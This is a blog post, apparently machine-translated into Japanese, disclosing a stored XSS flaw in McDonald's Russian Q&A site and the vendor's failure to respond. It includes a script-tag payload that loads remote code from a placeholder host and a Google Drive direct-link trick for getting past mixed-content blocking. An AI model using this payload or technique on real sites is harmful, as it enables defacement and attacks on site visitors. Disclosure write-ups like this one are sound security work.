ask.mcdonalds.ruを改ざんする


すべての情報は情報提供のみを目的として提供されています。 この記事の資料によって引き起こされる可能性のある損害について、私は責任を負いません。


それはすべて、5月の通常の午後、VKontakteコミュニティに出会ったときに始まりました。VKontakteコミュニティは、特定のサイトで尋ねたマクドナルド製品に関する人々からの面白い質問を公開しています。 次のようになりました。









壁をスクロールした後、私は興味を持ち、ユーザーと通信するためのこのプラットフォームが何であるかを確認することにしました-ask.mcdonalds.ru



短い遠足:



彼らが公開した情報によると、 「このサイトは、ゲストからよく寄せられる質問にできるだけ答えるように設計されています。マクドナルドの製品の組成、安全性、品質について-現場からカウンターまで。 そのため、サイトの一部として、マクドナルドの製品に直接関連する質問に答えます。」


クライアントの観点から、私は本当に幸せでした。製品について質問し、それに対する適切な答えを得ることができるのは素晴らしいことです。



脆弱性検出



それから私は登録することに決め、同時に登録フォームを介して送信された文字がどのようにエスケープされるかを確認しました。 その結果、ページ上にすべてが「そのまま」表示されるのを見たとき、私は驚きました。 簡単な例:







したがって、私たちはすぐにStored XSSの存在を確認します。これは非常に簡単に見つけることができるため、誰でも使用できます(ちなみに、このサイトには悪名高いログアウトCSRFもあります )。



つまり、私たちは、一見通常の姓と名とともに、次のような形式でも送信します。



<script src=http://site.com/AnyDangerousScript.js></script>
      
      





さらにシンプルなアクションを実行するときに、サイトのメインページでスクリプトを実行する機会を得ますが、最初に行うことです。



私は再び脆弱性をチェックすることにしました:







興味深い事実
突然「個人データの処理と保護に関する規定」を読みたい場合は、残念ながら、これはできません。404がmcdonalds.ru/legacyで私たちを待っているからです。



画像



しかし、今回はコードは実行されませんでした。 コンソールを開くと、次のことがわかりました。







この場合、ページはHTTPSプロトコルを介して送信されますが、通常のオープンHTTP (私のスクリプト)を介して送信されたコンテンツも含まれています。 その後、接続は部分的に暗号化されていると見なされ、ページ自体は混合コンテンツのあるページと呼ばれます



つまり、ここでもスクリプトがHTTPS経由で送信されることが重要です。



その場合、スクリプトファイルを配置するのが最も簡単だと思い、 Googleドライブを思い出しました 。 そして、Googleのクラウドストレージが助けになり、安全なプロトコルを使用して問題なく必要なファイルを取得します。



Googleのディスクに保存されているファイルには、直接リンクで直接アクセスできます。 それを取得することはまったく難しくありません:

参照によりファイルを利用可能にし、次のようなものを取得します
https://drive.google.com/file/d/AAAAAAAAAAAAAAAAAAA/view?usp=sharing





次に、drive.google.com / file / d /の後の値(この場合は「AAAAAAAAAAAAAAAAAAAA」)を取得し、フォームのリンクのidパラメーターの値として置き換えます

https://drive.google.com/uc?export=download&id=





以上で、名前にコードが含まれるアカウントを登録し、簡単な質問をして、回答が得られるまで待って、メインページに投稿するだけで十分です。







つまり、サイトのメインページでコードを実行する機会が得られます。







この脆弱性の影響



マクドナルドが何であるかについて話すこと 、余計なことだと思います。 このような大企業にとって、このような脆弱性の存在、または攻撃者による搾取は、深刻な経済的損害につながる可能性があります。



これは保存された脆弱性であるため、サーバーに独自の(悪意のある可能性のある)コードを導入し、元のページにアクセスするたびにユーザーによって実行されます。



そして、あなたが想像するなら、多くのユースケースがあります:





そして、もしそのような脆弱性が市場の競合他社の手に落ちたら? ここでは、ページのコンテンツ全体への完全なアクセスがあり、質問と回答の両方のテキストを変更したり、偽の質問と回答を形成したり、会社全体を悪くしたり、製品を宣伝したりすることもできるため、さらに面白い行動をとることができます否定的なイメージの形成、顧客の忠誠心の喪失、そして長期的には一般的に一部の顧客の喪失につながります。 そのような使用は一見すると知覚できない場合があり、検出が遅れる可能性があります。

そして、ほとんどの人が行くサイトのメインページのコンテンツは変更される可能性があるため、サイト自体の改ざんは危険です。



脆弱性レポートと要約



もう一度確認し、脆弱性が安定しており、サイトとの主観的な対話の結果ではないことを確認した後、会社にその存在を通知することにしました。



サイトに記載されているさまざまな電子メールアドレスに連絡し、VKontakteの公式コミュニティおよびFacebookのメッセージに書き込みました。彼らはFacebookでのみ応答し、すべての詳細を直接送信できると答えました。 しばらく経ちましたが、何も修正されませんでしたが、脆弱性がまだ存在していることを思い出しましたが、答えはありませんでした。 現時点では、すべての詳細が伝達されてから2か月以上が経過していますが、残念ながら、何も修正されていません。



私はこの脆弱性を悪用するつもりはありません。したがって、この記事が情報を会社に伝える助けにもなり、脆弱性が修正されることを願っています。



更新しました。

このように、少なくとも何らかの質問に答えられるまでは、何らかの方法で出版前にすべての質問がモデレートされ、時間が経過する必要があるため、記事の出版直後にマイナスの影響はありません。



All Articles